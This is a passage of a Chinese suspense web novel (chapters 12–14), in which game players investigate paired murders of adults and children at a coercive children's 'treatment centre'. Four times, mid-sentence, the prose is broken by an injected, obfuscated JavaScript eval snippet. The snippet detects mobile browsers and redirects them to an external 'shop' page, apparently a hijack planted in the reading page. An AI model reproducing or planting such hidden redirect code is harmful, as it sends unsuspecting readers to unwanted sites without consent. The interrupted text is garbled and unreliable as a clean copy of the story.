“游走在规则之中。”隋舟发现眼前的人和自己是完全不同的人,他并不在乎这样的场景为什么出现,也不好奇怎么才能结束,他非常平静地接受发生的一切,顺从地接受了给予他的铁链,然后在铁链捆绑下飞翔,又或许——他根本不认为这是铁链。 他说得对,他和自己不相同,自己一定要知道,这个组局的“幕后”是谁?一定是先有因再有果,这个局是果,那么他必定找到这个诡异游戏的原因,然后结束这一切。 “相隔千里的两人,我们不联系,可是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164077|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么,你瞬间就能作出相应的变化,你觉得这可能发生吗?放在玄学、神学上会发生,我们叫作鬼魅的力量,或者心灵感应。可是放在科学上能发生吗?”陆行低低笑了一声,“也能发生啊,我们把这叫作量子纠缠。所以,你觉得为什么,是什么,或者谁让他这样,这一切重要吗?不重要,这一切指向的都是一样的东西,只是我们赋予它的称呼不同而已。” 隋舟摇头:“科学也好、神学也好,研究的人们一定要找到原因,并且为此命名,为此解释,这对于研究的人们来说非常重要。”隋舟知道两人太不相同,夜已深,不适合探讨这么多无用的东西,便结束对话对陆行说道,“不管怎么说,今晚感谢你的耐心回答。” “今夜没有赢家,谁也不会胜利地离开……突然觉得这句话或许还有另外的含义。”陆行的表情难得放松了一些,“谁输谁赢,确实还不一定呢。” 说完之后,他伸手从药架子上又拿了两瓶药,然后摆了摆手转身往外走去。 隋舟看着陆行离去的背影,突然发现,这个人——好像在极度地享受这个危险世界带来的一切,和自己不同,他看起来并不想结束这样的游戏。 同时,隋舟再次得出结论,果然要离这个人远一点,他很危险,很像虫木林监牢里关押的那些人……不,他恐怕比那些人更加危险……… ------------------------------- 回到宿舍后,隋舟先去检查了一下01号,她身上比走之前更烫了,他赶紧将01号喊醒,然后给她喂了退烧药。01号迷迷糊糊,也没有完全醒,喝了药躺下后伸手拽着隋舟的衣角就不让他走。 隋舟一时想起01号受的苦,还有其他孩子们在治疗室里的可怜模样,感到心里有些不太舒服,就由着01号的小手拽着,在她床边坐着,等她睡着。但或许是这两天实在是太累,自己也很快就趴在床边睡着了,直到半夜因为姿势不舒服醒了。 醒来后,01号已经退烧,小手也放进了被窝里。隋舟便轻声回到了自己房间,回去之后一时没有了睡意,他想起陆行在药房认真看向治疗中心花园的样子,又想起他白天去探索了花园,回来却说什么都没发现。 这一点非常奇怪,他在那花园里一定有什么发现! 隋舟也走向窗边静静地看向花园,本应该是一片黑暗的地方却看得非常清楚,隋舟这才发现不知道何时,月光已然如此明亮,白茫茫的光芒撒下一片。 可是花园里有什么呢? 隋舟静静地看着那些院落中的月季思索着,忽然,他视线中出现一抹挺拔的身影,在白色的月光下,那人周身仿佛被镀上了一层银色的薄膜,发着微光——隋舟一眼就认出了陆行,他正从花园中穿过,直奔大门而去。 “原来不是院子。”隋舟嘴角一勾,“看来他一直在意的是在大门那里,那么,是什么重要线索不惜让我们的陆先生一定要在这么危险的夜里去查看呢?这是一个值得深思的问题。” 12. 人之初12 夜晚,天刚黑下来。童思静坐在08号床边,继续给他读着灰姑娘的故事。08号房间里没有这本童话书,来到这里的第一夜,08号问童思静,为什么他不能看这样的童话书,童思静才知道,这里只有女孩房间里才有。 童思静向袁秉谦借了书,08号欢喜极了,每天晚上和早上,只要睁着眼睛就要让童思静给他念着。 童思静觉得08号很是乖巧,后来又知道他在此受磨难,便更加力所能及地满足他的这样微小的愿望。关于08号为何在此受磨难,经过几日的相处,她有了一点猜测,今天袁秉谦和鲍芙迎说08号在房间里全身赤裸照镜子,然后旁边播放侮辱性的话,更加证实了她的猜想。 “就读到这里吧。”童思静合上书,对08号说道。 08号听得正开心,突然童思静不读了,有些发愣,毕竟之前每晚童思静都读到他睡着为止。08号的大眼睛眨了眨,小心翼翼问:“童阿姨,怎么了?你累了吗?” 童思静笑了笑,摇头说:“没有,今天我有个礼物要送给你。” “礼物?”08号有些惊讶,但更多的是惊喜,“童阿姨!你对我太好了!” 童思静温柔地摸了摸08号的头,然后从衣服口袋里拿出了那个粉色的芭比手表。 08号在看到手表的时候,却先愣住了。 童思静握住08的手,给他带了上去说:“不过是借来的,你可以带三天,三天后就还给01号小朋友。” 08号仰起头看着童思静,半晌说:“童阿姨,长这么大,你是第一个对我这么好的人?” 童思静确实是送她礼物,但毕竟她不是什么单纯的新人,她自然时刻记得这里是哪里,她的目的是什么。 这些小孩是游戏NPC,所以可以理解成给他们设置了不太会向玩家吐露心声的程序,但是这时候,童思静想,应该可以撬开小孩的心扉了。 她问道:“我是第一个?那你的爸爸妈妈呢?” 问题刚说完,她看到08号刚才还因为开心而闪亮的双眼,突然暗了下去。他低下头,良久才说道:“童阿姨,你可以当我妈妈吗?” “恐怕不能。”童思静拒绝了他说道,“你有妈妈,我怎么当你妈妈呢?况且,你爸爸妈妈也不会同意对吗?” “他们恐怕会非常同意呢!”08号难得的提高乐音量,不再像这几日以来的柔弱,他生气地说道,“我从小就像个女孩,喜欢女孩的东西,同学们都叫我娘娘腔,他们把我送来这里,就是为了让我像男孩子一样!他们折磨我,让我接受自己的身体,可是童阿姨,你知道吗?他们越让我接受,我就越恶心自己!我知道,我不正常,但是因为我不正常,他们就要这样对我吗!我又没有做什么伤天害理的事情!” 童思静抱着08号,心里也感到难过。她已经完全清楚,这个治疗中心就是父母改造自己孩子的改造中心,至于每个孩子是什么问题,按照08号的自白,她基本也能猜到。 童思静看着08号,原本一直温柔的孩子竟然脸上露出如此仇恨的表情,她的心仿佛被揪住了一般……“不要伤心,我都知道。” 忽然,童思静脑海里有一个想法一闪而过……等等! 那是什么想法?童思静努力思考,忽然,她脸色一沉,她猛地看向08号,是的,她有了一个新的猜测,一个更可怕的猜测! “童阿姨,你在想什么?”08号问,“你也觉得我有病,很恶心吗?所以不愿意让我当你的孩子?” 童思静脑海中突然冒出来的想法让她思绪混乱,听到08号的话,她条件反射回答:“你没有病也不恶心,是你的父母太狭隘了。等从这里出去之后,好好学习,长大了就可以不用听父亲的了,那时候就可以好好做自己了。” 说完之后她就愣住了! 长大了就好了吗?所有大人都喜欢这一套说辞,这一套欺骗人的说辞! 童思静想到自己,她小时候仅仅因为是女孩,父母便不让她读书。不过这很正常,村里女孩都不读书的。但是她当时有个好邻居,邻居家的小哥哥每天偷偷叫她认字,教她小学知识。后来,考上大学的哥哥回来努力说服她父母让她上了初中,她也成为考上重点高中的第一个女孩,高一靠着初中自己攒的钱,高二16岁开始打工读书考上大学,如今成为了博士,自己在知识的海洋自由徜徉…… 但是午夜梦回,那小时候为了偷偷看书点上的白色蜡烛,就仿佛一条条白色细蛇缠绕着她。她知道……她知道,她已然长大,但是她好像永远也逃不掉童年长长的梦魇…… 尽量善良,善待那些和自己一样可怜的人,这是她后来很长一段人生中都不停告知自己要做到的事…… 童思静笑了笑,还是对08号语重心长地说道:“嗯。长大了就好了,长大了你就不用害怕自己的父母了,你要做主自己的人生。” 08号脸上露出一个释然的笑容,他小小年纪却负重前行,他鼻子发酸、双眼发红,突然从床上爬起来,抱着一个小本子说:“童阿姨,你劳累了一天,先去休息,我写会儿日记就睡…… ---------------------------- 第二天早上,广播声刚响起来,大家就打开门走了出来。 时间将要过去一半,大家都有些紧张起来,看起来都睡得不太好。许是因为今日大家同时出门的缘故,所以在大家看向彼此后,很快就注意到了有一个人没有出来。联想到来了这里后,每一夜都有人死亡,所有人都脸色一变。 “童思静……”最先喊出声的是袁秉谦,他脸色瞬间苍白,焦急地三步并作两步走到了童思静房间门口,猛地敲门,没有人开。 所有人几乎都是心里一沉,难道真的每夜都有人死亡!所有人都围在了童思静房门口,隋舟看向对面小孩房间,竟也是一点声响都没有。 童思静曾经给了袁秉谦一套自己房间钥匙,很快房间门打开,房间内的景象即使大家有了心理准备,也依然是震惊不已,尤其是袁秉谦几乎是愣在原地,很快他跌跌撞撞跑到了童思静的尸体旁边。 鲍芙迎本来就看不了这些尸体,隋舟便让她说服袁秉谦一同到走廊上去休息。 袁秉谦开始坚持要自己检查童思静的尸体和房间,但他确实无法承受,最后跟着鲍芙迎出去了,吴崂则是从一开始就没进来。 现在房间里就留给隋舟和陆行两人。 陆行不怎么检查尸体,他在房间里到处查看,而隋舟则是进行着简单的尸检工作。 “看来凶手已经开始享受毁坏尸体了。”隋舟仔细查看,童思静的死亡方式和前面几个人差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164078|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是尸体毁坏程度更严重,除了胸腔被打开,这次腹部也被划开,心脏被啃食得部分更多,整个心脏剩下的部分只有正常心脏三分之一大小。 “你看这个。”陆行从离尸体大概两米远的地方捡到了童思静的手机,递给了隋舟说道,“没有密码,我一打开屏幕就看到这个。” 只见童思静手机里是一张照片,准确地说是一张截屏,而截的屏幕就是她的手机桌面。 她的手机桌面也很简洁,只有几个常用APP,除此以外没有其他东西了。 “这是什么意思?”隋舟微微蹙眉,“会是童思静死亡时留下来的死亡信息吗?” 陆行拿回手机又看了看:“可是这张图太普通了,就是她的手机桌面,只有几个所有人都会用的常见APP,她想告诉我们什么呢?” “重点是,手机一打开就能看到桌面,她为何还要单独截图?”隋舟查看了截图和实际的桌面,没有什么差异,软件也没有多也没有少。 陆行点头:“不过我看那童思静是个聪明人,她既然做了这件事,就一定有原因。我们去看看对面吧,我感觉那小孩恐怕也出事了。” 两人到走廊上,隋舟看着袁秉谦虚脱的模样,说:“袁教授,请节哀。” 袁秉谦深深叹了口气:“从进来这里那一天开始,我时刻都做着心理准备,无论是自己死亡还是别人死亡,只是……” 吴崂似乎有些不耐烦,打断了袁秉谦,向陆行问道:“老大,有什么发现吗?” 陆行啧了一声,似乎很烦,并不想回答他的问题。 隋舟见此,简单地给走廊上几人交代了一下截屏的事情,考虑到袁秉谦,他略过了尸体的破坏情况。最后说道:“我们去看看08号吧,到现在都没有动静,感觉可能也出事了。” 鲍芙迎脸色一变,忽然想起他们之前的推理。 房门推开,08号果然倒在血泊之中。 “小孩死亡,大人就会死亡!”吴崂站在走廊中左看看右看看,看着两边房间的尸体说道,“我们推测的是对的!” 隋舟没有接话,只是继续仔细查看现场,和之前死亡的小孩不同的是,她的心脏也被剖出啃食了大部分。隋舟进去检查了那被啃噬的心脏,心中涌出一股浓烈的疑惑,随即,他看向08号手腕上的芭比手表。 这是童思静让她帮忙向01号借给08号的,看来08号确实很喜欢,昨夜睡觉都一直戴着。只是在凶手的残忍杀害中,08号手表碰到了某处,直接碎裂了,三根指针安安静静地一动不动,指向那08号被残忍杀害的时间,仿佛在对这一切做着无声的控诉。 隋舟看着那手表,脑海中猛地想起什么,然后他又拿起那心脏检查,接着又迅速跑回童思静的房间,查看了童思静被啃食得心脏和童思静的手机截屏。 “我知道了!”隋舟那双黑沉沉的眼睛此刻竟有了一些光彩,“童思静手机截屏的原因,我知道了,她确实给我们留下了重要的死亡信息!” 听到他说的话,所有人又聚集在了走廊上。 鲍芙迎病恹恹的脸上竟然有了点光彩,她急切地问:“小舟,你想到什么了?” 隋舟的表情也只是刚才那一瞬间的明亮,很快眼神又黯淡了下去:“虽然我们向真相靠近了一步,但这并不是什么好消息。” 13. 人之初13 “为什么?知道真相却不是好消息?什么意思?” 隋舟举起童思静的手机打开那张截屏图片给大家看,然后又将手机桌面给大家看,问:“这两张图有什么区别?” 大家看了又看,检查着桌面的APP,壁纸,都没有任何缺失和多余,有些茫然。 “是时间……截屏的桌面上的时间和现在桌面上显示的实际时间不同了。”隋舟又将08号手腕上的芭比手表取下来说,“我之前就在想,童思静为什么会在死亡之前截屏呢?这张图片里有什么重要的东西?截屏是她的手机桌面,桌面上只有几个常用APP图标,那么重点是什么呢?后来看到08号的手表上的时间我就知道了,她截屏的重点是——时间,准确地说是死亡时间。” 隋舟想起他上次和童思静在档案室的时候,自己随口提到了一句如果有准确的死亡时间就好了这件事……没想到童思静在自己死亡的时候竟然真的留下了时间…… “死亡时间?”袁秉谦上前接过两样东西看了一眼,突然脸色一变,“等等!手表和手机上的时间,一个是凌晨02:01,一个是02:02!” “对。”隋舟神色严肃,“虽然手表摔坏和截屏的时间不太可能是死亡的瞬间,但是我们还是可以得出结论,他们几乎是同时遭遇了残害。” “这……这说明什么?”吴崂感觉到有什么不对劲的地方,但是他一时想不明白。 “一个凶手是不可能同时在两个地方谋杀两个人。”陆行抱臂靠着走廊的墙壁,接过话头解释,“说明这个副本里有两个凶手。” 顿时所有人愣在原地,半晌,袁秉谦摇了摇头,他好像很难接受这个结论,他说道:“这也不完全准确,手表万一不是行凶的时候损坏,或者那截图也并非死亡之前截的呢?” “确实,这一点我刚才也说了。”隋舟说道,“所以得出这样的结论,是因为还有一个铁一般的证据。” 他指了指案发现场尸体说道:“这次和之前不同,除了大人以外,小孩的心脏也被啃食了,我查看过,两颗心脏的啃食咬痕,完全不同,是两个人所为。” 鲍芙迎本就苍白的脸色已是毫无血色,她颤抖着说:“可是,按照之前大家推测的,凶手就在玩家里面的话……那我们剩下的五个里面,就有两个是凶手?!” 陆行眉毛一挑,缓缓说道:“看来这确实不算什么好消息呢。” 滋滋——滋滋—— 广播电流声响起后,立即出现了大家熟悉的叮铃铃声,催促着大家又到了带孩子去饭厅的时间,一行人只好先暂停讨论,带着各自的孩子前往饭厅。 到了饭厅和往常一样,小孩一桌、大人一桌,只是人越来越少,大家看得都有些伤感。 “我有个疑问。”鲍芙迎声音很小,他慢慢说道,“你们还记得我们之前推论的,大人死亡是因为小孩死亡吗?” “嗯,之前确实是这样推论的。” 吴崂也反应过来:“那就奇怪了啊!童思静和08号几乎是一起死的,那这条结论还有用吗?!还是说08号稍微早一点点死亡,所以也遵循了这个规则?” 一时之间陷入了沉默。 袁秉谦看着孩子那一桌,孩子桌比大人桌永远少了一个人,他想起童思静总是注意着这件事,便看向陆行问道:“陆先生,你的孩子呢?来了这么多天了,我们从来没见他出来过。” 陆行扯了扯嘴角,一双眼睛似笑非笑看向袁秉谦,他身姿挺拔,就算是随便坐着也气度不凡。他心里捉摸着,这两人不愧是师生,以前每天童思静问自己,现在童思静走了,老师又接过这个任务。 不过也对,每天都说孩子睡着了,以前还可以蒙混过关,现在再说,恐怕也没有人相信了,毕竟哪有孩子能这么睡?是时候需要另外的原因了。 陆行耸了耸肩,抱着的双臂缓缓展开,似乎有些无奈地说道:“抱歉,我也不是故意骗大家,只是……那孩子已经死了……” 平地一声惊雷,所有人几乎是怔怔地愣在原地,好半晌,吴崂结结巴巴地说:“死……死了???” 鲍芙迎也惊讶地问:“可是……小孩死了的话,大人……大人也会……难道这条推论真的错了?对了,请问陆先生,你这孩子什么时候死的?” 陆行不冷不热,仿佛交代不重要的小事,淡淡地说:“第一晚就死了。” 又是一个令人意外的答案。 鲍芙迎皱眉还在分析着那条推论:“那小孩死亡,会导致大人死亡这条就行不通了啊!我们又错了?” “请问陆先生。”袁秉谦看来也被这条信息冲击得不轻,问,“你能确定那小孩是死亡吗?会不会是昏迷?这涉及我们找到的死亡规则,不能大意。” “自然是能确定的。”陆行回答,“因为是我杀了他。” 第三次,全体安静,呆愣在原地。 隋舟打破沉默,冷静地问:“你为什么杀他?” “杀NPC很常见啊。”陆行回答,“每个人有自己玩游戏的方法,既然刚来这里护士长就说了,孩子们休息时我才能随意外出,我认为他只要醒着就会影响我找线索,太麻烦,所以就把他弄死了。” 隋舟抬头直视着陆行的脸:“那前两天躺在床上的孩子已经是尸体了?现在呢?尸体在哪里?” “埋了。”陆行说,“放了两天两夜,都臭了,我在昨夜便去把尸体埋了,就在前院花圃里,你们不信,可以去挖开看看。” 众人也不知道时间怎么过的,直到护士们把孩子们接走后,袁秉谦才说道:“大家各自寻找线索吧,时间不多了,人也不多了,就分开查漏补缺,各找各的吧。” 他不说,大家也不会再一同行动。如今五个人里有可能两个都是凶手,至少暂时大家是这么认为的,这种情况下,五个人彼此不信任,又怎么可能会组队行动。 陆行说的话真真假假,大家对他的信任本也是0,众人谈话不顺利,便各自离开前往寻找线索了。 隋舟认为,目前缺失信息最多的是吴妄这条线,他决定先前往档案室。既然那位自称吴妄母亲的人说她是在这里上班的人,那么她应该很有可能就是档案室的管理员。 可是隋舟到了档案室之后找了一圈却没有发现任何人,他想到上次是那个小孩给了他纸条才在晚上见到,于是隋舟决定先找到那个小孩。 就在他各种翻找的时候,忽然听到身后传来一阵脚步声,他连忙躲在了档案室的架子后面,顺手抄起一本资料,就在那脚步声靠近的时候,他算准时间猛地敲了下去,却瞬间被人捏住手腕翻转身子压在了柜子上,是陆行! “你来这里干什么?你不是应该去查看你最喜欢看的一楼大花园吗?”隋舟后腰抵在架子边缘,双手被陆行压住,感觉到非常不舒服,“先放开我。” 陆行却没听到似的,就这样死死地盯着隋舟,似乎要把他看穿一般。 “你要干什么?”隋舟看着眼前这个完全猜不透的人,只想赶紧先离他远点便摆出一副吃痛的表情,讨好地说,“手很痛,你先放开我,有什么事好商量对吧。” “我不去花园反而来这里,当然是因为这里有比花园更有价值的信息。”陆行缓缓开口,随后才放开了隋舟。 隋舟只觉得眼前这人力气大得可怕,自己手腕已经发红,他活动了一下手腕飞快说道:“那你在这里慢慢找。我先走了。” 隋舟牢记一定要离这个人远一点,便疾步往外走,却听到陆行的声音传来:“你是不是忘了我们还有一笔说好的交易。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164079|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隋舟停下了脚步回头,脸上一扫刚才地讨好感,整个人又恢复了冷静:“所以,你准备好有价值的线索来跟我换了?” 陆行挑眉:“当然,就是不知道你有没有什么有价值的东西。” 隋舟看着陆行,他当然知道这位陆先生知道的线索恐怕比自己找到得多,他盘算着这个交易对自己没有坏处,便开口:“你先说。” 陆行却很强势:“你先回答我的问题。” 隋舟皱眉,却不想跟他多费口舌,思考了一下利弊后,还是点头答应了。 “日记在哪里?”陆行开门见山。 隋舟装傻:“什么日记?” “我进房间的时候看到了一本日记本,但是最新的一篇却被撕掉了。”陆行摊手,“那个房间只有我们两个进去检查过……当然,我允许你拿走,只是你要告诉我拿走的原因是什么?” 隋舟静静地站着,没有说话。 “那就是默认了。”陆行挑眉,“或者,你要让我自己在你身上找?” 隋舟看着陆行,没有说话,也没有要拿的意思,两个人就对视着,似乎是一种无形的较量。 突然,隋舟笑了一下,他本就长得漂亮,这一笑,一双桃花眼无限风波,陆行微微蹙眉,他仿佛一个雄性野兽,敏锐地察觉到自己领地忽然被侵袭了似的,不自觉的微微后退了一步。 他冷静地看着眼前笑得明媚,眼底却依然幽暗的隋舟,只觉得自己之前对隋舟的感受不够准确,遂将之前“牢里待久了的漂亮活死人”的评价转变为了“一具美丽又生动的尸体”——当然,这一切隋舟并不知情。 “这样吧,不如你先回答我一个问题。”隋舟笑得明媚,不紧不慢地说道,“你回答得好,我就考虑把日记给你看。” 陆行刚来时梳得一丝不苟的头发,在经过几日副本中的日子,早已没有打理,额前的碎发耷拉着,让他看起来不似第一眼那样有压迫感,一阵穿堂风吹过,他额前的碎发被风吹起,一条细长的红色伤疤从额头拉到眼角,隋舟看着他的模样,觉得他怎么看怎么像个难缠的恶人。 “你问。”陆行终于是放弃了和隋舟的对峙,简略地说。 听到陆行妥协,隋舟笑容更甚:“你说,你为什么骗人呢?你明明没有杀死你负责的小孩,你却骗大家说你杀了他!你说,你居心何在!?” 陆行飞速再次更新了刚才的结论,对于眼前这位自己的感受应该是——一具美丽生动又聪明的尸体。 陆行退了一步,倚靠在前台的桌沿,双手抱胸:“你怎么知道的?” “第一天晚上,我因为听到一点动静打开了门,然后看到你从小孩房间出来。当然,我当时并不确定你大半夜去是干吗的,直到我那天去药房找退烧药的时候,你也在那里,我突然联想到你的小孩总是在睡觉,我就猜测你是每天都给他喂了安眠药。你觉得照顾孩子麻烦,便给他下了安眠药,他一直睡觉的话,也不影响你外出,一本万利。” “嗯……也算猜测得有理有据。”陆行却又反问,“但是你没有证据,我怎么就不能是杀了那孩子呢?” “杀死NPC或者玩家这种事,你可能会做,但是……”隋舟回答,“你是一个有经验的玩家,不会做没有把握的事,所以即使杀死他,你也不会选择刚来这里的第一个晚上,这太冒险了。” “那我为什么要骗他们?”陆行摊手,“关于这一点,隋先生也想通了吗?” 隋舟垂眸沉思,缓缓抬头说道:“你骗他们的目的…或许和我藏日记的目的,是一样的。” 说完隋舟拿出了兜里被撕下来的那一页日记递给了陆行,上面一看就是儿童写的,有些字还用的是拼音。 陆行接过日记,看了起来,渐渐皱起了眉头……… 14. 人之初14 那日记内容写道: ————————————— 我今天好开心,童阿姨送给我了一只我一直很xianmu很想yong有的手表,虽然童阿姨说是向01-号借的,以后要还给她,但是可以yong有几天,我已经觉得很xing福了。 芭比娃娃和童阿姨……不、和童妈妈都是世界上zui好的,如果……如果童妈妈yuan意做我妈妈的话……我会是一个很听话的好孩子…… ————————————— 读完后,陆行脸上露出一丝疑惑的表情,他伸手轻轻摸索着自己额头的疤痕,似在思考什么,然后他抬头说道:“从内容来看,看不出来什么线索。” 隋舟收回日记本,伸手指向纸面:“不要看内容,看纸面。” 只见那纸面似乎有水渍浸透又干涸后的印记,有一些字也明显泛着墨水的毛边。 陆行忽然眉头微蹙,然后抬头看向隋舟:“08号写日记的时候,哭了?” 隋舟点头:“目前死亡三个小孩、三个大人,我们倒着来分析。童思静孩子哭泣,童思静死亡已经确认;毕婉精神崩溃的当晚,我、袁秉谦还有童思静三人去她房间查看的时候,她当时忽然冲着小孩大骂一通,把小孩吓哭了。” “再往前就是薛燥,薛燥脾气暴躁,虽然我们没有见到他骂哭孩子,但是按照他急躁的性格,孩子被他骂哭的概率非常高。所以小孩哭,是目前唯一找到的几个小孩可能的共同点。” 陆行皱眉:“可是,送个手表有什么好哭的?” 隋舟回答:“那不是普通的手表,那是芭比手表。” “芭比手表?有什么不同?” 隋舟说道:“你没有去了解这些孩子,这里只有女孩有芭比手表,但是08号是男孩,他很喜欢但是没有。” 隋舟想到童思静,她是一个非常温柔又耐心的女孩,她一定慰藉了那孩子痛苦的灵魂,隋舟自己没有心,但他知道这时候普通人类会是怎样的感情,他不禁叹了口气说:“这个孩子,或许正是因为这个原因,他父母才将他送到这里进行改造。这也说明我们的猜测是对的,其他孩子也有这样那样的问题。” 陆行调查的重点确实一直没有放在孩子身上,如今他便明白了:“这里的治疗并非‘治病’,而是治疗‘不正常’。 隋舟:“可什么叫不正常?这个不正常由谁定义呢?孩子的父母——显然,他们认为和大多数不同就叫作不正常。” 陆行的脸色有一瞬间变得非常不好,他似乎陷入了沉思,沉默半晌后,他才问道:“你当真觉得两个凶手都是我们玩家中的人?” 隋舟摇头:“从游戏的设计来说,这不太可能,但是目前线索指向的嫌疑人,只有我们。” “线索太少了。”陆行说:“我敢说,到目前为止,我们连这个副本故事的方向都没摸准。” 隋舟微微蹙眉:“方向都没摸准?可是,方向难道不就是找凶手吗?” “这太表面了。”陆行摇了摇头:“太慢了,人已经死去一半,时间过去一半,但是我们离真相还很远。” 对于这一点,隋舟表示认同。虽然他认为找到凶手这一点没错,但是目前为止找凶手和吴妄这两项任务毫无关系。吴妄是谁?在哪里?那些孩子的治疗和凶手又有什么关系?这些东西都是毫无联系的拼图版块,他们还差许多部分才能将这些碎片串起来。 “今晚天黑后,到花园来一趟。” 隋舟耳边传来陆行低低的声音,他很意外得到了陆行的邀请。他以为陆行会一直是个独行侠,疑惑地问:“去干什么?” “到时候你就知道了,我等你。”说完之后,陆行大跨步地离开了。 陆行离开后,隋舟便不急着走了,他突然觉得有点累,便索性坐在档案室椅子上,闭目思考。 他在现实生活中,帮助市局破获过多起案件,无论多复杂的案件,他总是有一种直觉,一种能够一眼看穿凶手的直觉。 但是这一次,他的直觉消失了。 欺骗其他玩家,或者没有拆穿陆行对其他玩家的欺骗,都确实是他的本意,按照分析来说,凶手只能是玩家中的,但是奇怪的是,他却总是觉得剩下的玩家都不是凶手,真正的凶手一定潜伏在更深的地方。 但是除了玩家们,还有谁可能是凶手?实际上到目前为止,令隋舟感到绝望的是,连一个能称为嫌疑人的都没有出现。 所以他不得不采取隐瞒线索,欺骗大家的手法,将这趟清澈的水搅浑,打草才能惊蛇。他觉得陆行很可能和他想到一起去了,所以才说出杀死了小孩这种谎言。 天色已然暗下,白天的时间越来越短,隋舟知道,很快,天就不再亮了,他们必须要加快动作。 他想到陆行约他天黑后到花园,看来,这位高深莫测的陆先生也在加快动作了…… 或许实在是这几日太过劳累,隋舟在椅子上闭目思考竟是完全不想动弹,他拿出那张通行卡,通行卡是从死刑犯吴钟那里拿到的,但令他不明白的是,这是姜梦蝶的卡,他们之间怎么可能有联系呢? 他看着通行卡正面,姜梦蝶的名字早已经变成了隋舟,而那背面,是所有玩家公认的“提示语”,他们说破解了提示语,也就抓到了副本的核心。 “今夜没有人赢,没有人能胜利地离开……” 隋舟轻声呢喃着,这句话字面意思非常明确,是一种预告也是一种警告,那么在字面之下,到底隐藏了什么内容,他们没有任何人有头绪,隋舟也没有头绪。 但是这句话,他确实觉得有些熟悉,他甚至肯定自己一定在某个地方见过这句话,随着思考的深入,隋舟竟然是有些犯困,精神连续几日的高度集中,让他彻底半睡半晕了过去。 ——————————--- “小舟!帮我对一下台词!”姜梦蝶清脆的声音在耳边响起。 在虚化的梦境图像中,隋舟恍惚想起一年前,那一天夜晚,姜梦蝶来找他帮忙对一下台词。 “大明星,刚上映了一部电影,也不休息一下就又要进组了?”隋舟看着姜梦蝶,打趣道。 姜梦蝶咯咯一笑:“那是,你姐我现在还是比较热门的电影女演员哈。” “这次是什么类型的电影?”隋舟问。 姜梦蝶一脸神秘:“你最喜欢的类型,猜猜。” “悬疑?” “哈!果然是最喜欢吧,一猜就中!”姜梦蝶竖起一个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164080|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拇指。 “你演什么角色?”隋舟看着姜梦蝶,她并非常见的具有冲击性的美艳女明星类型,反而是比较素净带着文艺气息的类型……隋舟想,按照套路,梦蝶这种气质放在悬疑片里要么演无辜的受害者,要么就演反差极大的杀人者。 姜梦蝶却卖了个关子说:“上映了你去看就知道了,现在来跟我对对台词!” 姜梦蝶常常有了新戏就喜欢找隋舟帮忙对一下台词,隋舟刚开始还要拒绝,但实在是拿她没办法,最后也就习惯了:“剧本拿来。” “为了不影响你到时候的观影体验,这次就只对小小一部分。”姜梦蝶将剧本递给隋舟,指着画线部分说,“就对这一小段,我找找感觉。” 隋舟先大致浏览了一下,然后就跟姜梦蝶对了起来。 一切都很顺利,姜梦蝶表演得也很生动。 “你还有什么话想说?”隋舟一脸严肃地看着姜梦蝶,毫无感情地念出了台词。 姜梦蝶却不受影响,完全进入了角色,她狡黠一笑,然后伸手将长发别在耳后,转身背对着隋舟望向远方,缓缓说出了台词—— “先生,就请麻烦您帮我传达这句话吧,告诉他们所有人——今夜没有人赢,没有人能胜利地离开……” -------------------- 回忆戛然而止,隋舟猛地睁开眼睛,他的额头是细密的汗珠,他从梦魇中醒来,一大股氧气瞬间进入胸中,他大口大口呼气,像刚被人从水里救出的溺水的人。 他见过这句话!他果然见过这句话!——就在姜梦蝶的台词本里!他知道了,他知道这个所谓的提示语到底是什么意思——是了,玩家们没有说错,提示语的破解直指真相! 天不知道已经黑了多久,隋舟立即起身出了门,径直走向了前院花园里,他希望陆行已经到了那里,他现在急切地需要一个人,一个在思维上可以帮助到他的人。 所幸,他远远地就看到一个挺拔的身影站在院子里,似在静静等待着他的到来。 “怎么了?”陆行几乎没见过隋舟那死气沉沉的眼里流露出这种有些消沉的眼神,有些奇怪问道。 